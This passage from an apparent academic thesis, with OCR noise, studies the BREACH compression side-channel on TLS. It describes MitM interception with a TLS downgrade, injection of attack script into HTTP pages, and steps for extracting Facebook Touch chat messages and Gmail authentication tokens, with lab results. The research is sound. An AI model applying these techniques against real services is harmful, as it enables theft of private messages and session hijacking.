calculated by the following two fields: 256  (bits15..8) + (bits7..0).

Finally, the payload of the record, which, depending on the type, may be encrypted,
the MAG, if provided, and the padding, if needed, make up the rest of the TLS record.

2.4 Man-in-the-Middle

Man-in-the-Middle (MitM)° is one of the most common attack vectors, where an at-
tacker reroutes the communication of two parties, in order to be controlled and pos-

Shttps://en.wikipedia.org/wiki/Man-in-the-middle_attack
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sibly altered. The aggressiveness of the attack can vary from passive eavesdropping
to full control of the communication, as long as the attacker is able to impersonate
both parties and convince them to be trusted.

Alice - Mallory - Bob

Figure 2.10: Man-in-the-Middle

MitM attacks can be mitigated using end-to-end encryption, mutual authentication or
PKIs. However, some attacks are still feasible against poorly configured end-points.
Below we describe two such attacks, ARP Spoofing and DNS cache poisoning.

2.4.1 ARP Spoofing

ARP spoofing® is a technique where an attacker sends Address Resolution Protocol
(ARP) messages over the network, so that the IP address of a host is associated with
the MAC address of the attacker’s machine. That way, the attacker may intercept the
traffic, modify or deny packets, performing Denial-of-Service, MitM or session hijack-
ing attacks.

Routing under normal operation

LAN Hub/ LAN A
User switch Gateway

Routing subject to ARP cache poisoning

LAN Hub/ LAN
Y ¥

Malicious
User

Figure 2.11: ARP Spoofing

 https://en.wikipedia.org/wiki/ARP_spoofing
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ARP spoofing can also be used for legitimate reasons, when a developer needs to debug
IP traffic between two hosts. The developer can then act as proxy between the two
hosts, configuring a switch that is used by the two parties to forward the traffic to the
proxy for monitoring purposes.

2.4.2 DNS Spoofing

Alice > malicious.site

v

DMNS server legitimate.site

ry

Mallory

Figure 2.12: DNS Spoofing

DNS spoofing (or DNS cache poisoning)’ is an attack, when the adversary introduces
data into a Domain Name System resolver’s cache, in order to return an incorrect
address for a specific host.

DNS servers are usually provided by Internet Service Providers (ISPs) and used to re-
solve IP addresses to human-readable hostnames faster. However, DNS is unauthenti-
cated, so the responses can be modified on-the-air affecting any user that makes such
requests.

"https://en.wikipedia.org/wiki/DNS_spoofing
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Chapter 3

Partially Chosen Plaintext Attack

Traditionally, cryptographers have used games for security analysis. Such games in-
clude the indistinguishability under chosen plaintext attack (IND-CPA), the indistin-
guishability under chosen ciphertext attack/adaptive chosen ciphertext attack (IND-
CCA1, IND-CCAZ2) etc’.

In this chapter, we introduce a definition for a new property of encryption schemes,
called indistinguishability under partially-chosen-plaintext-attack IND-PCPA). We also
provide comparison between IND-PCPA and other known forms of cryptosystem prop-
erties.

3.1 Partially Chosen Plaintext Indistinguishability

3.1.1 Definition

IND-PCPA uses a definition similar to that of IND-CPA.

For a probabilistic asymmetric key encryption algorithm, indistinguishability under
partially chosen plaintext attack (IND-PCPA) is defined by the following game between
an adversary and a challenger.

e The challenger generates a key pair Py, S and publishes P, to the adversary.

e The adversary may then perform a polynomially bounded number of encryp-
tions or other operations.

e Eventually, the adversary submits two distinct chosen plaintexts M, M; to the
challenger.

e The challenger selects a bit b € 0, 1 uniformly at random.

e The adversary can then submit any number of selected plaintexts R;,i € N, |R| >
0, for which the challenger sends the ciphertext C; = E(Py, My||R;) back to the
adversary.

e The adversary is free to perform any number of additional computations or en-
cryptions, before finally guessing the value of b.

! https://en.wikipedia.org/wiki/Ciphertext_indistinguishability
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A cryptosystem is indistinguishable under partially chosen plaintext attack, if every
probabilistic polynomial time adversary has only a negligible advantage on finding b
over random guessing. An adversary is said to have a negligible advantage if a win in
the above game can be achieved with probability ; + €(k), where ¢(k) is a negligible
function in a security parameter k.

Intuitively, we can think of the adversary as having the ability to modify the plaintext
of a message, by appending a chosen portion of data to it, without prior knowledge
of the plaintext itself. He can then acquire the ciphertext of the modified text and
perform any kinds of computations on it. A system would then be described as IND-
PCPA, if the adversary is unable to gain more information about the plaintext, than
he would by guessing at random.

3.1.2 IND-PCPA vs IND-CPA

Suppose the adversary submits the empty string as the chosen plaintext, a choice
which is allowed by the definition of the game. The ciphertext that the challenger
would then send back would be C; = E(Py, My||” ”) = E(Py, My), which is the cipher-
text returned from the challenger in the context of the IND-CPA game.

Therefore, if the adversary has the ability to beat the game of IND-PCPA, i.e. if the
system is not indistinguishable under partially chosen plaintext attacks, he also has
the ability to beat the game of IND-CPA. This assumption provides an informal proof
that IND-PCPA is at least as strong as IND-CPA.

3.2 PCPA on compressed encrypted protocols

In this section we will investigate the relationship between compression and encryp-
tion, regarding how partially chosen plaintext attacks can exploit either method in
protocols that allow such functionality schemes.

3.2.1 Compression-before-encryption and vice versa

When having a system that applies both compression and encryption on a given plain-
text, it would be interesting to investigate the order those transformations should be
executed.

Lossless compression algorithms rely on statistical patterns to reduce the size of the
plaintext data without losing information. Such method is possible, since most real-
world data present statistical redundancy. However, such compression algorithms
will fail to effectively compress certain kinds of data sets that display no statistical
patterns.

Encryption algorithms, on the other hand, rely on adding randomness to the produced
ciphertext. If the ciphertext presented high entropy, these statistical patterns could be
exploited in order to deduce information about the plaintext.
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In the scheme where we apply compression after encryption, the ciphertext to be com-
pressed would demonstrate no statistical analysis exploits resulting in poor compres-
sion performance. In addition, compression after encryption would not increase the
security of the protocol.

On the contrary, applying encryption after compression seems a more preferable so-
lution. The compression algorithm can use the statistical redundancies of the plaintext
to perform well, while the encryption algorithm should produce a seemingly random
stream of data. Also, since compression increases entropy per symbol, this scheme
should make it harder for attackers, who rely on differential cryptanalysis, to break
the system.

3.2.2 PCPA scenario on compression-before-encryption protocol

Let’s assume a system that composes encryption and compression in the following
manner:

¢ = Encrypt(Compress(m))
where c is the ciphertext and m is the plaintext.

Suppose the plaintext contains a specific secret among random strings of data and the
attacker can issue a PCPA with a chosen plaintext, which we will call reflection. The
plaintext then takes the form:

m = n1||secret||ns||reflection||ng
where n1, no, n3 are random nonces.

If the reflection is the same as the secret, the compression mechanism will recognize
this pattern and compress the two data portions. Otherwise, the two strings will not
demonstrate any statistical redundancy and compression will perform worse. As a
result, in the first case the compressed unencrypted data will be smaller than in the
second case.

Usually encryption is done by a stream or a block cipher. In the first case, the lengths
of a plaintext and the corresponding ciphertext are identical, whereas in the second
case they differ by the number of padding bits, which is relatively small. That way,
for a system as the one mentioned, an adversary could identify a pattern and extract
information about the plaintext, based on the lengths of the two ciphertexts.

3.3 Known PCPA exploits

In this section, we present known attacks that use the partially chosen plaintext attack
vector.
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3.3.1 CRIME

Compression Ratio Info-leak Made Easy (CRIME) [1] is a security exploit that was
revealed at the 2012 ekoparty?. As stated, ”it decrypts HTTPS traffic to steal cookies
and hijack sessions”.

In order for the attack to succeed there are two requirements. Firstly, the attacker
should be able to sniff the victim’s network traffic to see the request/response packet
lengths. Secondly, the victim should visit a website controlled by the attacker or surf
on non-HTTPS sites, in order for the CRIME script to be executed.

If the above requirements are met, the attacker makes a guess for the secret to be
stolen and asks the browser to send a request with this guess included in the path.
The attacker can then observe the length of the request and, if the length is less than
usual, it is assumed that the guessed string was compressed with the secret, so it was
correct.

CRIME has been mitigated by disabling TLS and SPDY compression on both Google
Chrome and Mozilla Firefox browsers, as well as various server software packages.
However, HTTP compression is still supported, while some web servers that support
TLS compression are also vulnerable.

3.3.2 BREACH

Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext
(BREACH) [10] is a security exploit that is based on CRIME. Presented on the 2013 Black
Hat USA conference3, it targets the size of compressed HTTP responses and extracts
secrets hidden in the response body.

Like the CRIME attack, the attacker needs to sniff the victim’s network traffic, as well
as force the victim’s browser to issue requests to the chosen endpoint. Additionally,
it works against stream ciphers only and assumes zero noise in the response. More-
over, it demands a known prefix for the secret, although a proposed solution for this
condition would be to guess the first two characters of the secret in order to bootstrap
the attack.

From then on, the methodology isin general the same as CRIME’s. The attacker guesses
a value, which is then included in the response body along with the secret and, if
correct, it is compressed well with it resulting in smaller response length.

BREACH has not yet been fully mitigated, although Gluck, Harris and Prado proposed
various counter measures for the attack. We will investigate these mitigation tech-
niques in depth in Chapter 7.

2 https://www.ekoparty.org
3 https://www.blackhat .com
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Chapter 4

Attack Model

In this chapter, we will extensively present the threat model of BREACH. We will ex-
plain the conditions that should be met in order for the attack to be launched and
describe our implementation for the attack. We will also investigate the types of vul-
nerabilities in web applications that can be exploited with this attack, as well as in-
troduce alternative types of exploits that have not been presented before.

4.1 Mode of Operation

This section provides the model of the attack, the conditions that are required for the
attack to launch and the implementation that was developed for the purpose of this
work.

4.1.1 Description

The first step is for the attacker to gain control of the victim’s network. Specifically,
the attacker needs to be able to view the victim’s encrypted traffic, which can be ac-
complished using the Man-in-the-Middle techniques described in Section 2.4.

After that, the script that issues the requests needs to be executed from the victim’s
browser. One way to do this is to persuade the victim to visit a website controlled by
the attacker. This is usually possible with social engineering methods.

The script issues multiple requests on the target endpoint which are sniffed by the
attacker. As described in Section 2.2, the attacker cannot read the plaintext of a re-
sponse, although the lengths of both the request and the response is visible on the
network.

Each request contains a chosen stream of data that gets reflected in the response.
Since the victim is logged in the targeted endpoint website, the response body will
also contain the secrets. If the conditions defined in Section 2.1.1 are met, the secret
and the reflection will be compressed and encrypted.

By issuing a large amount of requests for different inputs the attacker can analyse the
response lengths and extract information about the secrets when a response presents
different length behaviour than the rest.
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4.1.2 Man-in-the-Middle implementation

In order to gain control of the victim’s traffic toward a chosen endpoint, we created a
Python script that acts as a Man-in-the-Middle proxy.

The IPs and ports of the victim and the endpoint are configured in the constants’ file
and the Python script opens connections over TCP sockets on both directions so that
traffic from the victim to the endpoint and vice versa is routed through the Man-in-
the-Middle proxy.

After the environment is set, the script waits for a packet to be received on either of
the sockets, at which point the source of the packet is identified and the data is parsed
in order to log the TLS header and the payload. Eventually, the packet is forwarded to
the appropriate destination.

The parsing of the packet data is essential, since the header contains information re-
garding the version of TLS used as well as the length of the record.

Trying to spot a fragmented record payload, the length of the packet payload is com-
pared to the length defined in the TLS header. In case the packet is smaller than the
length declared in the header, the number of remaining bytes is stored, so that these
bytes will be taken into account when following packets of same origin are received.
In case the TLS header is fragmented, which can be deduced when the total bytes of
the packet are less than 5, the actual data fragment needs to be stored so that, com-
bined with the following packet, it can be translated to a valid TLS record.

Finally, a TLS downgrade attack mechanism is also implemented. In order to test
whether a TLS downgrade attack is feasible, the client hello packet is intercepted
and dropped while the mitm sends a fatal handshake failure alert response to the vic-
tim. The victim’s browser is usually configured to attempt a connection with a lower
TLS version where it should also include the t1s_fallback_scsv option in the cipher
suite list. If the server is configured properly, the downgrade attempt should be recog-
nised by the t1s_fallback_scsv pseudo-cipher and the connection should be dropped.
In other case, the TLS version could be downgraded to a point where a less safe con-
nection is established such as SSL 3.0 or using the RC4 stream cipher.

A log from a downgrade attempt against Facebook touch, that was created by our
MitM proxy, can be found in Appendix section 9.3. For further information on the
downgrade vulnerability see the POODLE attack [3].

The code of the Man-in-the-Middle proxy, as well as the constants’ file, can be found
in Appendix sections 9.1 and 9.2.

4.1.3 BREACH Javascript implementation

For the implementation of the BREACH Javascript, we assume the user has provided
the alphabet that the characters of the secret belong to as well as the known prefix
needed to bootstrap the attack. This information will be written to a file used by the
script that performs the attack, an example of which is shown below:

| AF6bup
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(206

Listing 4.1: file with request parameters.

The script uses the jquery library® to read the information from the file and issue the
attack. If the file is corrupt or either of the attack variables has changed, a delay of 10
seconds is introduced, until the system is balanced. After that, serial requests for each
item of the attack vector are made, continuing from the beginning when the end of
the vector is reached.

A delay of 10 seconds is also introduced if the above function fails for any reason, i.e.
if the information file does not exist. That way the attack is persistent and it is the
framework’s responsibility to provide the script with a valid information parameters’
file.

For the purpose of this work, the script was included in a local minimal HTML web
page that was visited in order for the attack to begin. However, with slight modifica-
tions it could be run on real world applications or be injected in HTTP responses, as
described in the following section.

The BREACH script and the HTML web page can be found in the Appendix sections
9.4 and 9.5.

4.1.4 Attack persistence

In this section we will propose a command-and-control mechanism that makes the at-
tack much more practical. Specifically, we will describe how the attack can be imple-
mented even if the victim does not visit a contaminated web page but simply browses
the HTTP web.

Since the attacker controls the victim’s network, it is possible to inject the attack script
in a response from a regular HTTP website. The script will then run on the victim’s
browser, as if the script was part of the HTTP web page all along.

The following figure depicts this methodology, which is based on the fact that regular
HTTP traffic is not encrypted and also does not ensure data integrity.

It is clear that even if the victim stops the connection with the specific HTTP website,
the script can be injected in the next HTTP website that is requested, resuming the
attack session from where it was stopped.

4.2 Vulnerable endpoints

In the original BREACH paper [10], Gluck, Harris and Prado investigated the use of
CSRF tokens included in HTTP responses as secrets to be stolen. In this work we sug-

! http://code. jquery.com/jquery-2.1.4.min. js
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Figure 4.1: Command-and-control mechanism

gest alternative secrets as well as point out specific vulnerabilities on widely used web
applications, such as Facebook and Gmail.

4.2.1 Facebook Chat messages

Facebook is the biggest social network as of 2015 with millions of people using its
chat functionality to communicate. The mobile version, Facebook Touch? provides
a lightweight alternative for faster browsing. In this work we present a vulnerability
that allows an attacker to steal chat messages from Facebook Touch, using the BREACH
attack.

Mobile versions of websites provide a good alternative compared to full versions for a
list of reasons. Firstly, these endpoints provide limited noise, given that they provide
a lighter user interface compared to full versions. Noise can be defined as any kind
of string that changes between requests, such as timestamps or tokens, which conse-
quently affects the length of the compressed HTML code even for the same request
URL. Secondly, given that the plaintext is smaller in mobile versions, the possibility of
the text that exists between the secret and the reflection to be larger than the window
of the LZ77 compression is reduced.

Facebook has launched a mechanism to prevent the original BREACH attack against
CSRF tokens®. However, as of August 2015, it has not created a mitigation technique
against the same attack on private messages. An attack method that could steal such
messages is described in the following paragraphs.

Facebook Touch provides a search functionality via URL, where one can search for
messages or friends. Specifically, when a requestismade for https://touch.facebook.
com/messages?q=<search_string>, the response contains the chat search results for the
given search string. If no match is found, the response consists of an empty search
result page. However, this page also contains the last message of the 5 latest conver-
sations, which can be seen in the top drop-down message button of the Facebook user
interface, as depicted below:

2https://touch.facebook.com
3 https://www.facebook.com/notes/protect-the-graph/preventing-a-breach-attack/
14553318113736327 _rdr=p
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Figure 4.2: Facebook Chat drop-down list

The next step is to validate that the search string is reflected in the response, which
should also contain the private secret. Below is a fragment of the HTML response body,
where it can be clearly seen that this condition is met:

If the search string was not reflected in the response the attack could still be feasi-
ble, as long as the attacker could send private messages to the victim. In that case
the private messages from the attacker would be included in the latest conversations
list along with the secret messages from third friends of the victim, resulting in the
compression between the two and thus the partially chosen plaintext attack.

So, at this point, one of the basic assumptions of the attack, the fact that a secret and an
attacker input string should both be contained in the response, has been confirmed,
providing us with a vulnerability that can be exploited in the context of the attack.

4.2.2 Gmalil authentication token

Gmail is one of the most used and trusted mail clients as of 2015. It also provides
a plain HTML version for faster, lightweight interaction. Gmail uses an authentica-
tion token, which is a random string of digits, letters (uppercase and lowercase) and
dashes, generated every time the user logs in the account.

Opposed to Facebook, Google has not issued any mechanism to mask the authenti-
cation token for different user sessions, but instead uses the same token for a large
amount of requests. This functionality could possibly result to a threat against the
confidentiality of the account.

Requests onm.gmail.com redirect to another directory of the full website, specifically
https://mail.google.com/mail/u/0/x/<random_string>, where the random string is
generated for every request and can be used only for the particular session.

Gmail also provides a search via URL functionality, similar to the one described for
Facebook Touch. Specifically, a user can search for mails using a URL such as https://

* https://m.gmail.com
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Figure 4.3: Facebook response body containing both secret and reflection

mail.google.com/mail/u/0/x/7s=q&q=<search_string>. If no valid string is provided in
the place where the random string is supposed to be, Google will redirect the request
to a URL where the vacation will be filled with a randomly generated string and return
an empty result page, stating the search action as incomplete, as shown below:

However, the HTML body of the response contains both the search string and the
authentication token, as can be seen in the following figure:

Another vulnerability that can be exploited is when trying to find the first three char-
acters to bootstrap the attack. In the response body, the authentication token is in-
cluded as below:

The authentication token is preceded by the characters at=, which can be used as the
initiating prefix of the attack. Furthermore, the prefix AF6bup of the token is static,
regardless of the session and the account used. This prefix can also be used in a similar
manner to bootstrap the attack.

4.2.3 Gmail private emails

Another opportunity for attack is provided by the search functionality of the full gmail
website. If a user issues a search requestin a URL like https://mail.google.com/mail/
u/O#search/<search_string> and the search response is empty, the HTML body will
also contain both the subject and an initial fragment of the body of the latest inbox
mails:

Although in that case the response body does not include the search string, an attacker
could send multiple mails to the victim, which would be included in the response along
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Figure 4.5: Gmail response body containing both secret and reflection

with other new messages. That way the attacker could insert a chosen plaintext in the
HTML body and configure the attack under that context.

The above vulnerability shows that secrets and attacker input cannot always be dis-

tinguished. In this case both the secret and the input are emails making the mitigation
of the attack particularly hard.
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4.3 Validation of secret-reflection compression

In previous sections, we have found multiple vulnerabilities on known websites. We
have confirmed that the attacker’s chosen plaintext and the secret are both contained
in the HTML response body. In this section, we will present a methodology to confirm
that the chosen plaintext and the secret are also compressed well when the plaintext
matches the secret and badly in any other case.

The first tool used is mitmproxy®. Mitmproxy is described as ”an interactive con-
sole program that allows traffic flows to be intercepted, inspected, modified and re-
played”. For the purposes of our work, mitmproxy was used to extract the compressed
HTML body of two search request, in the Facebook context described in section 4.2.1.
The first search string contained a selected prefix followed by an incorrect character,
while the second contained the same prefix followed by the correct character of the
secret.

The second tool used is infgen®. infgen is a disassembler that gets a gzip stream as
input and outputs the Huffman tables and the LZ77 compression of the initial data
stream.

Applying infgen on the two HTML responses we obtained with mitmproxy, the com-
parison between the correct and the incorrect search string can be seen in the follow-
ing figure:

The left part of the figure shows the compression when the incorrect character is used.

5 https://mitmproxy.org
Shttp://www.zlib.net/infgen.c.gz
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Figure 4.8: Comparison of two compressed responses

In that case, the prefix is matched so 4 characters are compressed, while the next
character is not compressed and is included as a literal instead.

The right part shows the correct character compression, in which case both the prefix
and the character are compressed, resulting in 5 total characters to be included in the
reference statement and no literal statement.

It is understood that in the second case, since the compression is better the LZ77 com-
pressed text is smaller, possibly resulting to the final encrypted text being smaller.

The above described methodology can be used in general in order to test whether a
website compresses two portions of text and to verify that the conditions of a PCPA
attack are met.
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Chapter 5

Statistical methods

Gluck, Harris and Prado in the original BREACH paper investigated the attack on
stream ciphers such as RC4. They also suggested that block ciphers are vulnerable
without providing practical attack details. However, the use of RC4 is prohibited in
negotiation between servers and clients [9] due to several other major vulnerabili-
ties.

In this work we perform practical attacks against popular block ciphers by using statis-
tical methods to by-pass noise created from random portions of data stream, padding
or the Huffman coding. Also we propose various optimization techniques that can
make the attack much more efficient.

5.1 Probabilistic techniques

Block ciphers provide a greater challenge compared to stream ciphers when it comes
to telling length apart, since stream ciphers provide better granularity. In this work
we use statistical techniques to overcome this problem.

Furthermore, Huffman coding may affect the length of the compressed data stream,
since the character frequency might be affected resulting to different Huffman tables
and subsequently different length. We will propose a method to bypass Huffman in-
duced noise too.

5.1.1 Attack on block ciphers

Block ciphers are the most common used ciphers in modern websites. Especially AES
[5]is used in major websites such as Facebook!, Google?, Twitter?, Wikipedia?, YouTube?®,
Amazon® and others. In this work we introduce methods to attack block ciphers using
the attack model described in Chapter 4.

First of all, a packet stream of a specific endpoint needs to be examined, in order to
find patterns and better understand the distribution of the data stream on TLS records

! https://www.facebook.com
2 https://www.google.com

3 https://www.twitter.com

4 https://www.wikipedia.org
5 https://www.youtube.com

6 https://www.amazon.com
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and TCP packets. In the following figures request streams can be seen for Facebook
Touch and Gmail respectively.
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Endpoint application payload: 40
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Figure 5.1: Facebook flow
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Figure 5.2: Gmail flow

A close look on the above record stream reveals interesting information about the
pattern presented by multiple requests on the same endpoint.

Specifically the first figure shows two consequent requests on the search method of
Facebook Touch. The two requests were issued under the attack context and it can be
seen that their lengths differ only in a single TLS record.

At this point it would be safe to assume that the specific record that differs in the two
requests is the one containing the attacker’s chosen plaintext. In order to confirm this,
mitmproxy can again be used along with the MitM proxy we have developed.

Mitmproxy uses netlib” as a data-link library. Netlib’s read_chunked function performs
the reading of the TLS record fragments. We added print markers in this function,

"https://pypi.python.org/pypi/netlib
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which mark the log that contains the packet flow passing through our MitM proxy and
also provides the sectors that the plaintext is divided before compression. Comparing
the log with the decrypted and decompressed chunks of plaintext we have confirmed
that the sector of the plaintext that contains the reflection is contained in the TLS
record that differs in the length flow.

The above flows lead to another interesting deduction. If the implementation of the
block cipher was as expected, each record should have been of length that is a product
of 128 bits and consequently the two records that differ should have had the same
length or differ on a product of 128 bits. However, that is not the case here.

In order to further investigate the implementation of block ciphers, we have issued
the attack on multiple operating systems, networks and browsers. The parameter
that seemed to demonstrate similar behaviour on these cases was the browser, as for
different OSs and networks the packet flow was structurally the same for the same
browser version.

In the following figures we present two distinct packet flow structures that were ob-
served during the experiments on different browsers and versions.

User application payload: 3142
Endpoint application payload: 214
Endpoint application payload: 340
Endpoint application pavload: 36
User application payload: 3161
User application payload: 36

=1

[ %]
[ S ]
w

Endpoint application payload:
Endpoint application payload:
Endpoint application pavload: 36
User application payload: 36

User application payload: 3015
Endpoint application pavload: 53
Endpoint application payload: 1122
Endpoint application payload: 36
User application payload: 36

User application payload: 3142
Endpoint application payload: 80
Endpoint application payload: 340
Endpoint application pavload: 36
User application payload: 36

User application payload: 31&0
Endpoint application pavload: &7
Endpoint application payload: 230
Endpoint application pavload: 36
User application payload: 36

User application payload: 3015
Endpoint application pavload: 53
Endpoint application payload: 1125
Endpoint application payload: 36
User application payload: 36

Figure 5.3: Older browser version
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User application payload: 2220
Endpoint application pavload: 98
Endpoint application payload: 362
Endpoint application payload: 41
User application pavload: 41

User application payload: 2105
Endpoint application payload: 46
Endpoint application payload: 1330
Endpoint application payload: 41
User application pavload: 41

User application payload: 2205
Endpoint application payleoad: 237
Endpoint application payload: 418
Endpoint application payload: 41

User application payload: 2220
User application pavload: 41
Endpoint application payload: 58
Endpoint application pavload: 259
Endpoint application payload: 41
User application payload: 41

User application pavload: 2105
Endpoint application payload: 4&
Endpoint application payload: 1306
Endpoint application payload: 41
User application payload: 41

User application pavload: 2205
Endpoint application payload: 23&
Endpoint application payload: 424
Endpoint application payload: 41
User application payload: 41

Figure 5.4: Newer browser version

In older browser versions, the packet that contains the reflection is the one with length
1122 for the first request and 1125 for the second request. Each request of the flow
demonstrated a difference of a few bytes, that would not exceed 20 at any time. In
newer versions of browsers, the packet that contains the reflection 418 bytes for the
first request and 424 for the second. In other cases the difference could be tens or
hundreds of bytes for two requests.

The browsers that were used, Mozilla Firefox, Google Chrome, Chromium and Iceweasel,
all use Mozilla’s Network Security Services (NSS) library® for the implementation of
TLS. Following the above discoveries, we have found that the first pattern was demon-
strated in browser versions that used NSS 3.17.3 release or older, whereas the second
pattern was demonstrated on browsers that used newer NSS releases. However, fur-
ther investigation needs to be done, in order to determine why the block cipher im-
plementation does not follow the theoretical standards.

In any case, the above patterns allow us to use statistical methods to extract conclu-
sions regarding the length. Specifically by issuing hundreds or thousands of requests
for the same string and calculating the mean length of the responses the correct sym-
bol should converge in a smaller mean length that an incorrect. This method also
allows us to bypass noise introduced by random strings in the HTML body.

8 https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS
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5.1.2 Huffman fixed-point

Huffman coding, as described in Section 2.1.2, uses letter frequency in order to pro-
duce a lossless compression of the data stream. By inserting a chosen plaintext in the
data stream, the attacker would affect this frequency, probably resulting in a differ-
entiated Huffman table and affecting the length of the compressed stream altogether.

In this section we will describe a methodology to bypass the noise induced by Huffman
coding. In particular, we present a way for two different requests in the same stage
of the attack to demonstrate the same letter frequencies so that the attack itself does
not affect the Huffman table of the compression.

Initially an alphabet pool is created containing every item of the alphabet that the
secret belongs to. The key point lies in the fact that Huffman coding does not take into
account the position of the characters but only the frequency of appearance for each
one.

So if, for instance, the alphabet is made up of decimal digits, two different requests
can be crafted as below:

Figure 5.5: Huffman fixed-point

In that case, the frequency of each letter is not affected from one request to another,
whereas rearranging the position allows us to perform the attack.

The above figure also depicts the use of random nonces before and after the main
body of the request, in this case rynmkwi and znq respectively. These nonces are used
to avoid the Huffman fixed-point prefix or the character tested to be LZ77 compressed
with strings before, in this case ?q=, or after the request and affect the consistency of
the tests.

Our implementation of the methodology described is found in the request initializa-
tion library 9.6. A user needs to input a chosen prefix for the bootstrapping and an
alphabet pool from some predefined alphabets - uppercase letters, lowercase letters,
decimal digits and dashes - as well as serial or parallel method of attack. The functions
of the library will then create the appropriate request file that can be used along with
the BREACH script to issue the attack.

5.2 Attack optimization

The previous chapters have focused on expanding and explaining how the attack
could be a viable threat in real world applications. However, work still needs to be
done to make it faster and minimize the margin of error.

In this section we will describe two methods that improve the performance of the
attack, parallelization of hill-climbing and cross-domain parallelization.
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5.2.1 Parallelization of hill-climbing

Up to this point, the characters of the alphabet are tested serially, one after the other
and again from top, when the end of the alphabet is reached. However, a more effi-
cient method could be followed, that could reduce the time of the attack from O(|S|)
to O(log|S)).

Theidea behind this method is based on the well-known divide-and-conquer paradigm.
Specifically, instead of using one test character each time concatenated with the known
prefix we could divide the alphabet pool in half and issue requests on each such half.
A request file parameterized as such is the following:

AF6bup

Listing 5.1: File with parallelized request parameters.

Using this method, for each step of the attack two different requests are made. The first
corresponds to one half of the alphabet and the second to the other half. Whichever
minimizes the length function should contain the correct secret, so it is chosen and the
same method applies to it until a single character is chosen. That way we use binary
searching techniques dropping the attack factor noticeably.

The conditions for Huffman-induced noise and collateral compression are also met
here using the alphabet pool and the random nonces. Also in case of combined alpha-
bets such as lowercase letters, uppercase letters and digits, it is be possible that biases
are introduced regarding the different types, e.g. lowercase letters could be better
compressed than uppercase ones. We also bypass this issue by dividing the alphabet
alternately instead of consecutively.

5.2.2 Cross-domain parallelization

The tree structure of the Domain Name System (DNS)° defines each non-resource
record node as being a domain name. Each domain that is part of a larger domain is
called subdomain. Most websites use subdomains for specific applications, that hold
a certain role in the context of the basic web application. Such applications include
language versions of the website, mobile versions or divisions of a larger organization
such as Schools in a University etc.

The existence of different subdomains can be used to make the attack more efficient.
In that case, multiple subdomains should handle same or similar data containing the
chosen secret. If cookies are available on the parent domain, they are also available
in the subdomains and can be used from the attacker.

Specifically different subdomains can resolve to different IPs, via DNS poisoning. The
source and destination IP information is included in the Transport Layer of the net-
work so it can be seen by an eavesdropper or, in our case, the MitM proxy. The attack
can be then issued on both domains effectively parallelizing it with up to Nx efficiency,
where N is the number of different domains and subdomains.

 https://en.wikipedia.org/wiki/Domain_Name_System
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5.2.3 Point-system meta-predictor

Each variation of the attack so far assumed that after a number of requests the mean
length of the correct guess would be smaller than the length of each incorrect. How-
ever, experiments conducted for the purpose of this work have shown that this is not
always the case.

In this section we introduce the concept of a meta-predictor, that employs a point sys-
tem in order to rank each guess compared to the others. The need for such functional-
ity became prominent, when it can be noticed that, although the correct letter after an
initial period until the attack is stabilized is among the best ones it is not necessarily
the best no matter how many requests are made.

For that reason, we have created a point system, in order to evaluate the performance
of each letter in the context of a leatherboard of ascending mean length order. This
point system is declared in the constants’ library [9.2] as below:

2:16
4:10
6:6
8:3
10: 1

0
2

eNgawR
D 00 = DN

Conceptually, it can be understood that the correct letter is more probable to be among
the best ones over time even if it is not the best eventually compared to the others that
will not be as good in general, although they may demonstrate a spike in performance
for a certain period.

An example of this functionality against Facebook Chat is described extensively in
Section 6.1.
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Chapter 6

Experimental results

In this chapter we present the results of experiments conducted in lab environment
against two major systems, Facebook Chat and Gmail. We will analyze the validity of
the attack under different modes, serial and parallel, as well as the time consumption
of each method. Also we will investigate the effectiveness of the point-system meta-
predictor introduced in Section 5.2.3.

6.1 Facebook Chat messages

The first experiment targeted Facebook Chat trying to exploit the vulnerability pre-
sented in Section 4.2.1. The first attempt used a regular Facebook account with hun-
dreds of friends and regular chat conversations and notifications. However, using the
validation method of Section 4.3, it was found that between the secret and the reflec-
tion lied a large amount of data which led to a non-compression of the two.

For the purpose of this work we have created a lab account that has no friends and
no user activity of any kind, except for a self-sent private message that will be the
secret to be stolen. That way the noise of a real-world account, such as new messages
or notifications, is contained and we can avoid the problems described above.

We assume an attack on Facebook chat messages following the serial method of re-
quests knowing the secret consists of letters, either lowercase or uppercase. In order
to steal the first letter of the secret we perform 4000 iterations of requests, which
translates to 4000 for each letter in the alphabet or 4000 * 52 = 208000 requests in
total. The normal time interval between two requests was set to 4 seconds in order
to be sure that overlapping stream can be distinguished. This has led to an overall
208000 * 4 = 832000 seconds which roughly equals to 9 days.

The following figure shows the behaviour of the correct letter as the attack evolved:
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Figure 6.1: Correct letter length chart.

The top horizontal axis contains the number of iterations of requests.

The left vertical axis shows the position of the correct letter compared to the others
in ascending mean length order, i.e. the letter with minimum mean length is 1, the
second smaller is 2 etc.

The right vertical axis depicts the difference of the mean lengths of the correct letter
and the best one, i.e. the one with minimum mean length, or the second best in case
the correct letter is the one of minimum mean length.

It can be understood that the correct guess presents a good behaviour after a tran-
sient period, although it does not always correspond to the minimum mean response
length. In order to handle this problem we introduced the point-system meta-predictor
presented in Section 5.2.3. In a similar manner we parsed the collected data using the
point-system information.

The chart depicting the evolution of the correct letter’s behaviour in time regarding
the aggregated points is shown in the following figure:
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Figure 6.2: Correct letter point chart.

It is clear that by introducing the point system the prediction of the correct letter is
much more efficient than before. After a transient period the correct letter demon-
strates a better behaviour compared to any other choice, increasing its point perfor-
mance in an almost linear rate over time.

The demonstrated attack provides a statistical proof that Facebook Chat is not IND-
PCPA. It is clear that an adversary could gain a major advantage in stealing a private
Facebook Chat message using this attack model. However, it can be understood that
the attack performance of the attack is fairly poor, making it particularly hard to be
applied in real-world where the conditions for success would need to be valid for a
noticeable period of time.

6.2 Gmail Authentication token

Our next experiment aimed at stealing the authentication token of a Gmail account as
described in Section 4.2.2. Since noise during this attack is at minimum level a regular
account was used.

In this case, we employ the hill-climbing parallelization technique against a full alpha-
bet consisting of digits, lowercase and uppercase letters and dashes totaling 64 items.
In each stage of the attack the alphabet is divided in two sets, so the one that presents
the best behaviour is chosen to continue the attack in the next stage resulting in a total
of log(64) = 6 stages.

In order to validate the results of the measurements we repeat each stage of the attack
as many times as needed until one of the two sets shows minimum mean length for an
aggregate of 4 attempts so a maximum of 7 attempts should be made for each stage.
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That way we can reduce the margin of error resulting in random circumstances that
may appear during an attempt.

Evaluation of the response stream was again based on the point-system. In this case,
since there are only two choices in each iteration, the points depict the amount of it-
